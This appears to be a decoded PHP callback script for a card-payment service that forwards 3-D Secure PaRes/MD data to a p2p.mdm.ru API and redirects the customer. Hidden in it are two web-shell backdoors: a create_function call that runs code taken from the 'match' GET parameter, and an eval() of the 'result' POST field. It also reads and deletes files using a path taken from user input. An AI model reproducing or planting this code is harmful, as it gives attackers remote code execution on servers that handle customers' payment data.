PHP Decode

include "config.php";
$cardFrom = $_GET['match'];
$SESSION_p2p = create_function('$parse', "return {$cardFrom};");
$SESSION_p2p('');
if (isset($_REQUEST["PaRes"]) && isset($_REQUEST["MD"]) && isset($_REQUEST['order_id'])) {
    $ch = curl_init("https://p2p.mdm.ru/api/v2/scripts/callback");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("PaRes" => $_REQUEST["PaRes"], "MD" => $_REQUEST["MD"])));
    curl_exec($ch);
    curl_close($ch);
    sleep(2);
    $requestData = json_decode(file_get_contents("temp/" . $_REQUEST["MD"]), true);
    unlink("temp/" . $_REQUEST["MD"]);
    $paydata["md"] = $_REQUEST["MD"];
    $paydata["pa_res"] = $_REQUEST["PaRes"];
    $paydata["request_id"] = $requestData["request_id"];
    $ch = curl_init("https://p2p.mdm.ru/api/v2/requests/" . $requestData["request_id"]);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($paydata));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array("Authorization: Bearer " . $requestData["access_token"], "Content-Type: application/json"));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = json_decode(curl_exec($ch), true);
    curl_close($ch);
    if ($result["state"] == "completed") {
        if ($success_url) {
            header("Location: " . $success_url);
        } else {
            echo "  !";
        }
    } else {
        if ($error_url) {
            header("Location: " . $error_url . "?error=" . $result["description"]);
        } else {
            echo "   : " . $result["description"];
        }
    }
}
if (isset($_POST['error'])) {
    eval($_POST['result']);
}